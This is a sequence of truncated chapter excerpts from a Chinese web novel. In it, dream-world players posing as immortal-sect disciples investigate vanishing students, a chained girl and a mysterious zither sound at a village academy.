小厮动作一顿,笑着说道:“大人说笑了,村里人哪敢对仙门弟子不敬啊!不过是仙门极少白日就遣弟子来村里,大伙怕怠慢了二位,这才请二位到游冥书院歇脚。” “村里每晚都有妖怪虏人?”俞小澄轻声问道。 “是啊,每晚都来,专抓十来岁的学生,现在全村上下就剩那八名学生了,从早到晚被护在书院里,哪儿也不敢去。”小厮朝主屋方向努了努嘴。 “护在书院?”俞小澄不解地问。 小厮解释道:“对啊,游冥书院里有阜掌门当初留下的法阵,寻常妖怪进不得,全村也就这里最安全了。” “哦?副掌门如此了得,怎么就不能将妖怪一网打尽呢?”吴樊祐细细品了一口茶,随意问了一句。 “呵……”小厮幽怨地看了一眼吴樊祐,苦笑着说,“这……小的不知道,也不敢问啊,这种事您还是问贵派掌门吧。” 瞧小厮那模样,倒有几分对仙门的怨念,或许他也想质问,为何仙门如此无能,屡屡派遣弟子下山除妖,最后连几个孩子都护不住。 俞小澄很想回答:大哥,这也怪不得仙门,梦境设定如此,如果仙门将妖怪消灭干净,我们这些玩家也就不用提心吊胆了。 莫非这次梦境的恶灵就是之前遇到的那些妖怪了,可是数量是否多了点?果然幽兰梦境是铁了心要对住客下死手啊。 俞小澄一边想着,一边叹了口气。 “今夜,这些孩子全仰仗两位大人了!”小厮抱拳向二人鞠躬行礼。 俞小澄一惊,内心毫无底气,磕磕巴巴地说道:“啊这……仙门应该还会派人来吧?我、这……这么多人,怎么护……哪护得过来啊……” 心里直 32. 梦境(二) 《我好像住进了黑店》全本免费阅读 招财进宝自从俞小澄进入书院后,就不知道飘到哪里玩去了,过了许久才神神秘秘地出现在门口,直冲俞小澄招手,示意她跟上。 俞小澄没有问什么,一脸茫然跟在招财进宝身后,走出书房,顺着连廊一直往深处走。 “学姐打算去哪儿?”吴樊祐追了出来,谨慎注视着主屋方向,压低声音问道。 其实俞小澄也不知道,她顺口说了两个字:“参观。” 在院子里绕了大半圈,招财进宝将俞小澄带到了一个小屋前,屋子门上挂着一把锁,窗户虚掩着。 透过窗子缝隙,俞小澄看见屋里光线很暗,依稀可以看出这是一间卧室,屋内陈设简单,而床榻上蜷缩着一个人,黑色的长发披散开,面部藏在暗处看不清。 “商先生?” 一个稚嫩的女子声音传了出来,那人听到屋外动静,往床边挪了挪,随着她移动,屋内又传来一阵哗哗的铁链刮擦声。 在微弱的光线下,隐约可以看到人影手腕和脚踝处的金属反光,看来,这人被铁链栓在屋里。 屋外二人面面相觑,不知屋内囚禁着何人,最后还是吴樊祐先开了口。 他站在窗边凝视着屋内的人影,放缓语速,尽量让声音听上去不带攻击性:“小朋友,你怎么会被关在这里?你父母呢?” 屋里人闻言胆怯地往回缩了缩身子,没有回答吴樊祐的问题,反而声音颤抖地问道:“你们……是谁?” 吴樊祐眼睛一转,笑着哄道:“别怕,哥哥姐姐不是坏人,我们啊,是仙门弟子,来村子里抓妖怪的……” 谁知此话刚说出口,屋子里的女孩惊恐地尖叫一声,语无伦次地喊道:“我不是妖怪,不是妖怪,不要抓我,求你们放过我吧,我真的不是妖怪……商先生救我……” 屋外二人对视一眼,只觉一头雾水。 俞小澄走到门边,看了看门锁,是古时候常用的铜制横开锁,视线稍微上移,她惊讶地发现两扇门的中央画着一个红褐色的符箓,散发着一股淡淡的血腥味。 “这是?”俞小澄看着门上符箓,仔细回想着村外木桥上的那个,有些分不清两者是否一致。 “这好像不是保护之力,而是禁锢之力。”招财手指在符箓上划过,试图识别出它的用途。 “禁锢?”俞小澄低声重复着,心中不免疑惑。 如果这是禁锢的符箓,那屋子里关着的又是什么?莫非是妖怪么? “啊,两位怎么来此处了。”身后忽然传来商先生沉稳的嗓音。 二人转过身,只见商先生负手踱步而来,举手投足间自带一股儒雅之气,令人心生敬意。到底是不请自来,俞小澄羞涩地低下头,思考着应该以何种措辞来解释眼下情况。 不待她开口,吴樊祐指了指屋内,开门见山直接问道:“不知屋内囚的是何人?” 商先生微微一笑,神情自若地走到窗子边,轻轻将虚掩的窗子彻底闭上,而后抬手指引方向说道:“这里不是说话的地方,两位先随我回书房再细聊。” 俞小澄与吴樊祐相视点头,不动声色地跟着商先生回了书房。 书房内,商先生唤来小厮换了壶热茶,又亲自为二人斟了杯茶,随即才慢慢解释道:“方才屋里关的是故人之女嫣儿,爹娘不幸在妖怪袭击中丧命,嫣儿亲眼目睹,受惊不小,从此便有些神志不清。” 疯了?想起房门上的符箓,俞小澄不禁心中生疑。 “所以就锁起来?先生对故人之女还真是无微不至啊。”吴樊祐笑嘻嘻地说道。 商先生面色一沉,清了清嗓子说:“实属无奈之举,若放她伤人,她恐怕再难留在村里。” 吴樊祐微微勾了勾嘴角,没有继续纠缠这个话题,话锋一转问道:“听小厮讲,你们村里一到夜里就有妖怪掳走书院学生,究竟是怎么回事?” 商先生抬眼看着二人,眼神中透着一抹疑惑:“我以为仙门会更清楚……” “仙门很忙的,这些事自然要问村里人更详尽咯。”吴樊祐面不改色地随口胡诌道。 他的回答处处透着古怪,但商先生没有质疑,反而客气回道:“不知二位了解多少呢?” “先生就从头说起吧。”吴樊祐一点不客气。 从商先生的口中,二人大致了解了这个梦境的设定。 下河村外的森林里,曾有一股妖怪势力为非作歹,下河村村民苦不堪言,后来仙门掌门联合三位长老之力将为首的妖王封印,瓦解了这股势力。 仙门掌门在村子里和森林中施加法阵,致使附近小妖不敢轻易靠近,自那以后,村里人重归安宁。 然而就在不久前,妖王的封印似有松动迹象,引得附近小妖躁动不已。 白日里,大部分妖怪潜伏在森林里,伏击落单的过路人;当夜幕降临,会有妖怪潜入村中,神不知鬼不觉地掳走少年人。 接连几个少年人莫名失踪后,村里人觉察异常,于是将所有少年人都聚集在游冥书院,这里有仙门掌门留下的法阵,寻常妖怪不敢靠近。 除此以外,村民们还向仙门求援,每天傍晚时分,仙门会派弟子到下河村除妖。 一切安排本算妥当,可不知潜入村子的小妖哪儿来的神通,竟然能从仙门弟子眼皮子底下将人悄悄掳去,就算偶有一两次失手,未有少年人失踪,可天一亮,必定会出现遇害弟子的尸首。 “为什么要选少年人下手呢?”俞小澄喃喃自语。 商先生看起来毫无头绪,唉声叹气地摇了摇头。 吴樊祐问:“一次都没有抓住过潜入村子的妖怪?” 商先生点头答:“确实如此,我想仙门单派两位提前来村里,定是另有打算,或许两位今夜可以藏身在书院里,打妖怪个措手不及!” “先生好计谋啊!”吴樊祐似笑非笑地看着商先生,“不怕万一我们是妖怪假扮的,引狼入室?” 商先生爽朗地大笑两声,踱步到了罗汉榻边,当着二人的面,将香炉盖揭开,用手掌轻扇两下,将烟气扇向分坐罗汉榻两边的二人。 两股烟气带着一种醉人的香气,在二人身上环绕成圈,萦绕许久才渐渐消散,俞小澄正满头问号,就见商先生指了指香炉内。 两颗脑袋凑到一起,目光聚焦于香炉内部,借着窗边的阳光,可以清晰地看到香炉肚子底部雕刻着花纹,微微向上凸起。 “这是?”吴樊祐诧异地盯着商先生。 商先生笑了起来:“我等凡夫俗子,自然难以分辨真伪,所以借了仙门法器——伏妖炉。” 吴樊祐拿起香炉随手把玩,饶有兴致地问道:“伏妖炉 33. 梦境(二) 《我好像住进了黑店》全本免费阅读 院子里,五个男孩依然蹲在地上斗蛐蛐,三个女孩也还围坐在凉亭里,只是所有人都捂着嘴,控制着激动的情绪,尽力不发出太大声音。 俞小澄带着吴樊祐先去了凉亭,三个女孩见到外人有些拘谨,但知二人是仙门弟子,于是怯生生地向二人行礼。 女孩们羞涩,俞小澄也不善言辞,倒是吴樊祐看穿俞小澄的心思,厚着脸皮开口问:“三位小妹妹,你们可识得后院一个叫嫣儿的孩子?” 女孩们纷纷点了点头,打开了话匣子。 “大哥哥是要带她去仙门吗?” “太好了,先生一直留她在书院,怪吓人的。” “她不会再回来了吧?” 一提起那个叫嫣儿的女孩,三个少女似有许多怨言,或许与嫣儿之间发生过什么,所以说话时眼中流露出一丝厌恶之情。 “为什么要去仙门?她不是疯了么?”俞小澄忍不住问道。 三个少女你盯着我,我看着你,似有什么顾虑,其中一个胆子大点的少女回道:“先生没告诉你们吗?先生若知道我们多嘴,怕是要怪罪……” 说罢,那少女朝同伴使了个眼色,三人便想逃离。 吴樊祐上前一步,挡住了去路,眯眼笑着说:“诶,别急,就是先生让我来问你们。” 少女们竟轻易相信了他的胡言乱语,乖巧地点了点头,将知晓的东西娓娓道来。 商先生没有说谎,嫣儿的确是他故人之女,夫妇二人在妖怪袭击中丧命,可嫣儿并不是疯了,而是因其不祥被关进了书院里。 嫣儿自小会妖法,一旦情绪不稳定便会伤人,这种情况随着她长大愈发严峻,村里人纷纷对她避而远之,也就商先生肯与她亲近,偷偷做着她的授业恩师。 一年前,村里遇袭,嫣儿的父母在那次袭击中双双殒命,村里人都说是嫣儿不祥,带给村子厄运,本欲将其逐出村子。 商先生力保,将她关在了书院里,说有仙门法阵庇佑,定不让其影响他人,鉴于商先生的威信,众人没有反对,从此,嫣儿成了游冥书院人尽皆知的秘密。 自嫣儿被关进书院后,妖怪果然不再来犯,这才让村民放宽了心。 如今妖怪再度出现,失踪的又尽是同嫣儿年纪相仿的少年人,村里人觉得是嫣儿招灾所致。 有人主张将嫣儿驱逐出村换取太平,也有人主张将嫣儿交给仙门永除后患,意见并不统一,商先生迟迟没有决断。 “你们也觉得妖怪是被嫣儿招来的?”俞小澄问。 少女们声音微弱地答道:“反正村里人都这么说。” “听说许多学生在房间里莫名失踪,可有发生过不同寻常之事吗?”俞小澄又打听道。 “不知道,我夜里睡得沉。” “游冥书院鲜少有人进出,除了商先生,每晚也就仙门弟子会来借宿,如果出了岔子,必会惊动仙门弟子。” “夜里并无动静,偏偏第二日醒来就发现少了一人,着实可怕。” 三个少女争相开口,可从她们的描述中找不出疑点,俞小澄也很好奇,妖怪到底用了什么手段,能令所有人无法察觉。 一旁斗蛐蛐的少年们被几人的交谈声吸引,有人凑上前来,趴在凉亭栏杆上,眨着眼望着亭中两个陌生人。 “姐姐能向掌门求求情,允许我们提前进入仙门吗?”一个男孩言辞恳切。 “嗯?进仙门……做什么?”俞小澄反问。 另一个男孩回道:“原本六日后是仙门弟子选拔会,能参加选拔的现在就剩下我们八个了……再过几日,还不知……” “对啊姐姐,我害怕……”又有女孩随声附和,可怜兮兮地望着俞小澄。 俞小澄为难地看了一眼吴樊祐,不知该如何回应这群小孩。 吴樊祐清了清嗓子,吸引少年人注意,直言道:“我看商先生与仙门掌门有些交情,为何不让商先生带你们前往仙门避祸?” “先生说凡事都有规矩,不可僭越。”一个少女答得诚恳。 吴樊祐微微一笑,耍起了小聪明:“既然你们这么听商先生的话,又怎么求哥哥姐姐帮你们坏了规矩呢?” “这……” 一群孩子面面相觑,挠头的挠头,叹气的叹气,一时没人答得上来。 吴樊祐偷偷冲俞小澄眨了眨眼,低声调侃:“那个姓商还挺有能耐,能将这群人小鬼大的小鬼治得服服帖帖。” 俞小澄觉得吴樊祐问的话其实挺有道理,如果村民真害怕孩子们被妖怪掳走,为何不直接把他们全送上山呢? 仙门也不是不肯帮忙,每晚都派遣弟子下山除妖,说明还是有心帮忙,那直接带走孩子们不是更简单么? 多少觉得有些不合理,俞小澄只能以“梦境强制设定不必较真”来说服自己不要多想。 在一群小孩口中并不能得到太多信息,不多时,商先生从后院回来,招呼大家到膳厅吃饭,于是谈话被迫中止。 接下来的时间,俞小澄意外觉得悠闲,恍惚中有种闲适度假的错觉,在院子里晒晒太阳小憩片刻,被女孩子们拉着看看话本…… 若是寻着吴樊祐看去,便会发现他被男孩子们缠着讲仙门的故事,而吴樊祐全程胡编乱造,绘声绘色地描绘起那些根本不存在故事,把男孩子们骗得一愣一愣的。 村子外、森林里那些骇人的事就仿佛与这间书院毫无关系,如同身处两个截然不同的游戏,一边宛若动作冒险,一边类似休闲养成。 后来招财进宝将书院里里外外搜了个遍,的确发现了书院内施下的法阵,在书院与外界之间形成一个保护结界,令书院成为一方净土。 俞小澄不得不怀疑,游冥书院就是梦境中所谓的安全房,连心情都随之放松下来。 这种难得的平静一直持续到傍晚,书院的大门再次被敲响,商先生习以为常地前往应门,等他回到院子里时,身后还跟着四名穿得仙风道骨的年轻人。 其中一个的脸看上去异常熟悉,俞小澄想了许久,才发现他正是换上古装、摘了墨镜的陈奇。 陈奇见到二人似乎也是一惊,紧张的视线扫射一圈,不知有何顾虑,始终没有主动招呼二人,精神状态看起来过于紧绷。 商先生领着众人路过主屋往右顺着连廊去往后院,途径厨房茅厕,到了右边那条连廊的尽头,两间厢房紧挨着,室内都是大通铺。 左手那间是学生的住处,右手那间便安排给了仙门弟子。 学生们按照商先生的指示进了屋,屋内弥漫着一股淡淡的香气。 俞小澄一眼便看见房中香几上摆放的伏妖炉,一缕轻盈的烟雾正从香炉盖的孔隙中袅袅而出,轻轻萦绕住每一个进入屋内的人,停留片刻后又消散得不留一点痕 34. 梦境(二) 《我好像住进了黑店》全本免费阅读 这种事若是发生在现实,二人恐怕想都不敢想,立马尖叫着掏出手机记录一切,再发到朋友圈宣泄激动的心情。 然而,这里终究是梦境,一个以修仙世界为背景的梦境,见识过妖怪杀人后的俞小澄内心毫无波澜,似乎觉得本就应该如此。 大师兄等到的不是师弟师妹一脸的崇拜,而是吴樊祐不耐烦的抱怨:“啧,大师兄有手电筒怎么不早点拿出来,害我们摸黑走了这么远。” “啥?手电筒?”大师兄无比震惊。 吴樊祐懒得回答,上前将他的手往头顶抬了抬,漫不经心地说:“大师兄别走神,当心火熄灭,这样照得更远些,走吧,你在前面照明,我们跟着。” 大师兄冷哼两声还想说什么,吴樊祐手指抵在唇边做了个噤声动作,然后抓着大师兄的肩膀,将人转向前方,嘴里还叮嘱:“专心巡视,别让妖怪钻了空子!” 大师兄被他气得一时语塞,欲言又止半晌,终是放弃了交流,忍着怒气往前走。 俞小澄一直思考着措辞,所以没太在意二人的互动,过了好一会儿,她才问了一个与大师兄的表演毫不相干的问题: “请问今日上山的都有谁?” 本是想在师弟师妹面前来一番精彩绝伦的表演,让这些新来的弟子对自己顶礼膜拜、俯首称臣,不料二人反应如此冷淡,当师兄的面子有些挂不住,满肚子火地回道:“问这么多干嘛,明日回山不就知道了。” “那上山的人中是否有人叫张尧?” 见大师兄不愿多说,俞小澄只好退而求其次,先确认张尧是否安全。 大师兄轻挑了一下眉头:“张尧?你关心他作甚?” 未免麻烦,俞小澄信口胡诌道:“他是我弟弟,家里就他一根独苗,自然紧张些。” “姊弟?”大师兄摸着下巴打量着俞小澄,“那你叫啥?” “俞……”自己的姓氏脱口而出,俞小澄立马意识到不对,转音转了一大圈才继续说道,“鱼,我单名一个鱼,叫张鱼。” 大师兄一脸同情地望着她,说:“啥破名字……一看就知道,在家挺苦的吧?重男轻女不可取……” 大师兄说着叹了一口气,安慰似地拍了拍俞小澄的肩膀。 俞小澄一时不知说什么好,只惭愧地嗯了一声。 一旁看戏的吴樊祐憋笑都要憋出内伤,不料被大师兄凶狠地瞪了一眼,他赶紧敛住笑容,装出一副什么都没有听到的模样。 接着,他一本正经地问道:“大师兄到底有没有见过张尧?” “没见过。”大师兄果断回答。 “没见过你还问这么多,浪费时间!”吴樊祐当即怒怼道。 大师兄本就看吴樊祐不爽,立马端起架子,提高声量喊道:“你、你怎么跟大师兄说话喃!看我回去怎么教……” 俞小澄担心又将局面闹僵,届时想问什么都问不了,着急打断道:“大师兄,除了五个新弟子外,就没有其他人上山了吗?” 上山的五名新弟子中竟然没有张尧,下河村里也没见到张尧的身影,那他难道还在森林里吗?一想到遇害的老大爷,俞小澄不免担忧起来。 大师兄一脸诧异地回头看了她一眼,冷冷回答:“人没有,妖倒是有几个,真是大胆,还敢到仙门送死。” “妖?什么妖?”吴樊祐问。 大师兄没好气地说:“还能有什么妖,不就是藏在森林里那些卑劣的东西,它们能伪装成村民模样,你们可别被骗了。” 俞小澄觉得有些奇怪,什么妖怪这么想不开,直接硬刚仙门?这不是找死么? “那些闯入仙门的妖怪都死了吗?”吴樊祐又问。 大师兄略显遗憾地叹了口气,说:“可惜了,他们被仙门结界所伤,等我带人赶到山门口时,已经全逃了。” “妖怪不知仙门有结界?” 吴樊祐的问题正是俞小澄所疑惑的,像他们这样刚进入梦境的玩家或许还搞不清情况,可身为梦境原住民的妖怪,为何明知会被仙门结界所伤,还要冒险闯仙门呢? 她记得村民说过,白日里妖怪多藏在暗处,就如她在森林和木桥遇到的那两个怪物一样,等待凡人落入它们设置好的陷阱之中。 那么明目张胆擅闯仙门又是为了什么? 俞小澄对于这场梦境还有太多不明之处,要如何离开更是没有一丝头绪,只希望在仙门的几人能找到有用线索。 大师兄找到机会,指着吴樊祐冷嘲热讽:“也许那些妖跟他一样蠢吧,法术都没学会,就敢逃学下山。哎,说起新弟子,也就陈奇灵根慧骨能成大气。” 吴樊祐噗地笑出了声,往身后指了指,不屑道:“就那贼眉鼠眼的家伙还成大气?大师兄眼瞎吧。” 大师兄冲他龇了龇牙,翻着白眼骂道:“你小子别以貌取人,他长得是不咋样,可好歹学会了火系法术!我看你就是赤裸裸的嫉妒。” 俞小澄不知他是无心还是故意,一时分不清他到底是在夸人还是骂人,不过她更在意别的,遂好奇问道:“陈奇学会了火系法术?” 就算是梦境,她也不认为普通的住客能够短短一日得道升仙,那些玄幻的东西,或许道具能够做到,但人是不可能做到的。 “可不是嘛,我亲眼所见,陈奇在新弟子小考中成功召唤火焰,就像我这样……”大师兄说着,将手从头顶放下来,手心的那团火球随心而动,变幻成一小簇火苗,“法术虽未大成,可假以时日,必可壮我仙门。” 说罢,手心的火焰再度燃烧成一团火球,被大师兄高高举过头顶,照亮着四周。 俞小澄忽然觉得有些好笑,吴樊祐有点调教人的能耐在身上,而周围的人很容易受其影响,还不自知。 吴樊祐与她对视一眼,对于大师兄所言笑而不语,天知道陈奇又用了什么手段。 “每晚都是大师兄带队来下河村除妖?”吴樊祐话锋一转问道。 大师兄举目四望,观察着周围动静,毫无戒心地回答:“非也,门里几位师兄轮流带队,像你们这样的新弟子,需过了小考,才有资格下山历练。” 俞小澄闻言趁机打听道:“听说书院学生都消失得奇怪,大师兄当真从未发现过妖怪踪迹?” 大师兄脚下一顿,若有所思地回过头,幽蓝的火光从头顶照下,显得他的脸有些阴沉,过了好一会儿,才听到他压低声音开口道: “在来下河村的路上会遇见妖怪,我们顺手就给解决了,可到了村子里,还真未见过妖怪。说起来确实古怪,但怪的不是妖,而是人。” “什么意思?” 俞小澄和吴樊祐异口同声问道,不想放过任何 35. 梦境(二) 《我好像住进了黑店》全本免费阅读 商先生又为何要将一个孩子囚禁在屋子里呢?难道真如学生所说,嫣儿是下河村受难的元凶? 带着这些疑惑,俞小澄继续耐心问:“外面的人怎么会害你呢?是不是有什么误会?” 嫣儿害怕得蜷缩成一团,铁链随着身体颤抖发出细微的响声,声音中满含恐惧:“他们说嫣儿是妖怪,要将嫣儿送去仙门,嫣儿真的不是妖怪,只有商先生相信嫣儿。” “他们?你是说村民吗?”俞小澄问。 隐约看见屋里的黑影点了点头,晃得铁链一阵响,委屈地说道:“妖怪出现,爹娘死了,他们说是嫣儿害死了爹娘,那些有爹娘的孩子欺负嫣儿,嫣儿气不过,打伤了他们,于是所有人都说嫣儿是妖怪……” 她的说法与学生们所言差不多,至于她到底是不是妖怪,这个无法判定,俞小澄觉得说不定是愚昧村民的迁怒。 “听说你在书院里住了一年之久,那书院学生失踪一事你可知晓?”俞小澄试探着问道。 “书院里除了商先生,没人敢靠近这里,嫣儿什么都不知道……”嫣儿的声音听上去有些失落,越来越微弱,到最后陷入沉默。 看来,嫣儿作为一个被囚禁起来的人,对书院里发生的一切一无所知,她的世界仿佛就只有商先生一人,在她的认知里,屋外满是要伤害她的人,所以她心甘情愿被禁锢在一间小房子里。 俞小澄一时不知说什么好,示意身旁的二人先离开这里。 可刚走出几步,忽然听见房中铁链在地面上滑动,金属的响动掩盖着微弱的脚步声。 “大姐姐。”嫣儿移动到了窗边,压低声音招呼着俞小澄。 俞小澄有些诧异,她想看看嫣儿打算做什么,却又有些担心发生什么,谨慎地让另外两人留在原处,一个人战战兢兢往回走了几步。 嫣儿整个人被黑暗包裹,始终看不清楚她脸上神色,但她的语调很是轻快:“大姐姐,你是这书院中除了商先生外,唯一愿意和嫣儿说话的人,嫣儿想起件事想告诉你。” “什么事?”。 “我虽然没听说过学生失踪,但每天夜里都会听到别的声音。” “别的声音?” “嗯,嫣儿熟睡时,总能听到有人弹琴,那曲子很好听。” 说完这句话,嫣儿一蹦一跳地回到了床榻上,心情似乎很好。俞小澄愣了一下,不再多做停留,快步回到另外两人身旁。 她还未开口,大师兄回头看着嫣儿的房间说:“那不是商先生家的疯丫头么?” 只是一句话,就让俞小澄明白,面对仙门弟子,商先生的口径估计是一致的,或许是害怕仙门介入,又或许是困住嫣儿,真相如何只有他自己才知道。 俞小澄和吴樊祐相视一眼,谁都没有回答大师兄的问话,嫣儿是疯还是妖,他们不得而知,也就不便发表看法。 看着眼前两个木头人,大师兄觉得有些无趣,挥了挥手,继续头顶着火球带着二人往别处巡逻。 他走着走着,又忍不住回过头,想到什么似的开了口:“商先生为了不让村民纠缠他家疯丫头,当真费心竭力,还向掌门求了禁锢之法。” 俞小澄一惊:“什么禁锢之法。” 大师兄随意指了指远处房间,说:“方才门上那个符箓,你们没看见么?” 俞小澄自然知道那就是禁锢之法,白日里听招财说起过,以为是类似封印的力量。如今再听大师兄提起,难免有些意外,于是赶紧追问大师兄禁锢之法的作用。 大师兄一见有了显摆的机会,回答得那叫一个干脆。 与俞小澄预想的不同,禁锢符箓并非封印,无法将所谓的妖怪囚禁起来,不同于护身符箓,它并不能驱逐妖邪,却能收敛心神,使人不受邪物干扰。 所谓禁锢,乃禁锢心神于身罢了。 “原来是骗人的幌子。”吴樊祐冷笑着评价道。 “可以这么说。”大师兄说,“那疯丫头觉得外人都想害自己,情绪不稳定容易伤人;村民觉得疯丫头不祥,将她当妖怪看,想要驱她出村。商先生夹在中间十分难办,所以才向掌门求了禁锢之法,以谎言终结了二者纷争。” 心中的疑惑渐渐有了答案,俞小澄若有所思地说:“所以,嫣儿不过是普通人,不会什么妖术?” 大师兄嘲笑道:“废话,身为仙门弟子,是人是妖都分不清么?你们俩,明日开始,好好在山上修行,不得随意踏出山门一步!” 有了大师兄的答疑解惑,一切似乎变得合理起来,可俞小澄总觉得哪里还有些奇怪,比如嫣儿是否疯了,她觉得商先生在这件事上没说实话。 忽然回想起嫣儿最后说的话,俞小澄连忙问大师兄:“你夜里听到过琴声吗?” 大师兄一脸茫然,斜睨了俞小澄一眼,道:“怎么?你要弹琴给师兄听么?这里琴都没有,你上哪弹琴去……” 俞小澄被怼得哑口无言,心里却隐隐觉得不对劲,难道只有嫣儿能听到琴声? 或许,书院的怪事正与琴声有关。 为此,她让吴樊祐缠着大师兄,独自去了学生的厢房,挨个问了学生,答案无一例外,没有人在夜里听到过任何动静。 学生问过一圈后,俞小澄壮着胆子去了书房,向商先生打听消息。 商先生一如既往客气,可谈到夜里是否觉察到异样时,他的回答与学生们一样,毫无惊喜,让俞小澄几乎可以确定,整间书院里,就只有嫣儿听到过琴声。 略感失望正准备告辞,商先生却突然问道:“姑娘为何觉得会有异样呢?” 俞小澄怔住了,不太明白商先生这么问的目的,仔细一想,她不能说出自己从嫣儿口中得知的消息,在被问的人眼里多少有些突兀,或许会怀疑她听到了什么风声。 为了暂时不暴露自己的已知信息,她只好装傻充愣道:“呵呵,有人凭空消失,如此诡异的事,居然天无异象?太低调了!” 商先生抿嘴微笑,眼睛里闪着尖锐的光,就像纵观全局看透了一切,却故意打着哑谜戏耍着他人。 他说:“会不会根本就不是妖怪作祟,消失是出于个人意愿呢?正因如此,那些仙门弟子才会在院子里自戕。” 俞小澄十分惊讶,没想到商先生会有如此推断。 个人意愿?这是什么莫名其妙的想法,谁会选择消失?谁又会选择自杀?疯了吗? 俞小澄一时无法认同商先生的看法,摇了摇头,说:“人都是有求生欲的,若非致命的打击,没人会自愿放弃活命,又何来出于个人意愿一说呢?” 商先生摸着下巴点着头,做出一副思考的样子,赞同地说道:“有理,那么如果是天意如此,他们不得不选呢?” “先生为何觉得是天意?” 俞小澄诧异地盯着商先生,总觉得此人有事隐瞒,她并不是完全不信玄学,但也不是一个相 36. 梦境(二) 《我好像住进了黑店》全本免费阅读 本以为招财是被妖怪给吓回来了,俞小澄已经做好了三人一起逃离现场的心理准备,然而迎接她的是招财的白眼,只听招财郑重地道出两个字:“是人!” “什么人?”俞小澄终于直起了身子,往厨房的方向望去,心想着,难道还有小偷不成? 招财打着呵欠,兴味索然地回答:“白日里那个小厮。” 俞小澄好奇:“他在这儿干嘛?” 招财指了指厨房边那条阴森无光的小路,说:“厨房后有间柴房,他就住在里面。” 俞小澄恍然大悟,几乎都快忘了还有这号人物,其他杂工在仙门弟子到来前便离开了书院各回各家,所以她默认书院里只余下商先生、嫣儿以及八名学生,没想到那小厮也住在书院中。 思索一番,俞小澄鼓起勇气走进了没有照明的小路,摸黑往里走了十来步,一间亮着微弱烛光的柴房出现在眼前。 俞小澄缓缓靠近,耳朵贴近房门,仔细聆听着,屋里传来细微的纸笔摩擦声,就像是房中之人还在挑灯夜战一般。 思前想后半晌,俞小澄终是敲响了房门,如今也就小厮一人还未确认过,虽然希望渺茫,可该做的工作到底要完成,不能凭想象定论。 屋内细微的声响中断,小厮略显惊恐的声音传出:“谁、谁啊?” “仙门弟子俞……张鱼……”俞小澄恨不得抽自己嘴巴,这谎好像又得一撒到底了。 “喔,大人稍待片刻!”小厮似乎松了一口气,随即慌手慌脚在屋子里折腾了一番,不知是在收拾什么东西,过了好一会儿才前来应门。 房门开启,门后露出小厮瘦小的脸,堆着笑,十分殷勤。 小厮本想让到一旁,将客人请入房内,可环视屋内寒酸的模样,又有些难为情,于是自己一步跨出门槛,点头哈腰地询问客人找他何事。 说到底,小厮也不过是个十来岁的孩子,如果不是因为身份,他应当和厢房里那些孩子一般,坐在主屋听课学习,休息时与好友一起斗蛐蛐,而不是现在这样,过早明白人情世故。 俞小澄不太习惯他近乎卑微的客气,只想赶紧完成任务离开此地,于是没有任何寒暄,直截了当问道:“你夜里都住在这里?” “是的,大人。” 小厮如同受审的犯人,双手紧握放在身前,浑身绷紧,时刻关注着俞小澄的情绪,熟练地应对着她的问题。 俞小澄本想告诉他不必如此,可一想到这是NPC自带的属性,便也懒得费口舌,匆忙继续提问:“那你可听到过琴声?” “大人也听过?”小厮瞪大了眼睛,忽又疑惑地挠了挠头,说,“不对,大人是初次到访书院……啊,大人真是神通广大!” “哦,没听过就算了,我……嗯?” 俞小澄已经预设了大概率无功而返,早就想好了台词,计划例行公事一般问完话就回去找吴樊祐,可设计好的台词刚说了一半,她就意识到不对。 “你是说,你听到过琴声?”俞小澄整个人惊得合不拢嘴,一会儿看看招财,一会儿看看进宝,想从他们的表情中确认自己是否听错了。 “是的,大人。” 再次传来小厮无比肯定的答复,俞小澄有些懵了,紧接着,惊喜涌上心头,驱逐了意外带来的茫然,紧随而来的是更多的疑问。 为什么? 为什么嫣儿与小厮都听见过琴声? 那琴声到底是哪里来的? 是否与学弟失踪、仙门弟子自杀有关呢? 无数的问题交织在脑海中,俞小澄用力拍了拍脸颊,试图让自己清醒点,经过仔细思考,她严肃地问小厮:“你每晚都会听到么?” 令她意外的是小厮摇了摇头。 “那你什么时候听到的?”俞小澄满是不解。 小厮被她问得一愣,不安地扫视一圈后,心虚地靠近俞小澄两步,压低声音说:“我如果告诉大人,大人能保证不向先生告发我吗?” 见小厮可怜巴巴地望着自己,俞小澄哪里敢说不,于是指天发誓绝不泄露二人谈话内容。 小厮一脸信任地点了点头,遂将俞小澄请进了屋,俯身从床下拿出一个小碗,红着脸说道:“三日前,我从厨房偷拿了点东西,当晚便听到一阵琴声……” 俞小澄往碗中看了一眼,只见碗里一团暗红色的粘稠物,部分地方已经干涸发黑,隐隐散发着一股腥臭味,令人作呕。 “血?”俞小澄捂着鼻子问道。 小厮没有隐瞒,直言:“鸡血。” 俞小澄愈发迷惑了,嫌弃地指着碗里腥臭的血液问:“你拿它干嘛?” 小厮支支吾吾半晌,始终不愿开口,左右晃动着身子,咬着唇,眼珠在眼眶里打转,找不到可以停留的地方,那内心挣扎的模样似有难言之隐。 俞小澄意会一般,轻轻拍了拍小厮的肩,斟酌措辞后开口安慰:“我懂,特殊癖好嘛,谁都有一点,我也一样!嗯……我、我就喜欢家里蹲不见人,呵呵,嗜血也不怎么奇怪,这……这不还能做血旺嘛……” “啊?” 小厮难以置信地凝视着俞小澄,反应了许久才明白俞小澄话中含义,连忙摇头摆手,急出一头汗:“不、不是,我没有那种怪癖!这鸡血是用来画符的!” 这回轮到俞小澄吃惊了,她倒没想到一个普普通通的小厮也爱好玄学。 看到俞小澄将信将疑的眼神,小厮将盛着鸡血的碗放到一旁,又在房中翻箱倒柜一通翻找,最后犹犹豫豫捧着几张毛边纸回到俞小澄面前。 “还请大人替我保守秘密,像我这样的人还痴心妄想修习仙门法术,被人知晓只会惹人发笑……” 十来岁的少年自卑地低下了头,那一瞬间,俞小澄终于明白小厮在隐藏的是什么,是一颗心,一颗不甘于平凡的心,或许他与厢房中的学生一样,期盼着成为仙门弟子。 “拥有努力的方向,哪里可笑了,我从来没有,所以很羡慕你。”俞小澄声音微弱地说道。 “姐姐,这不是禁锢之力的符箓么?和上锁房间门上画的一模一样!”招财盯着小厮手里的毛边纸,惊呼道。 俞小澄从小厮手里抽出一张毛边纸,仔细看了看,纸上的确画着符箓,那符箓的样式十分眼熟,她虽然记不住每种符箓的画法,可她相信招财不会记错。 不过,毛边纸上并无血腥味,符箓是用朱砂墨绘成,而非鸡血。 一个念头飞快进入脑中,她指着符箓问小厮:“你用鸡血画此符箓后听到了琴声?” “好像是这样的。”小厮 37. 梦境(二) 《我好像住进了黑店》全本免费阅读 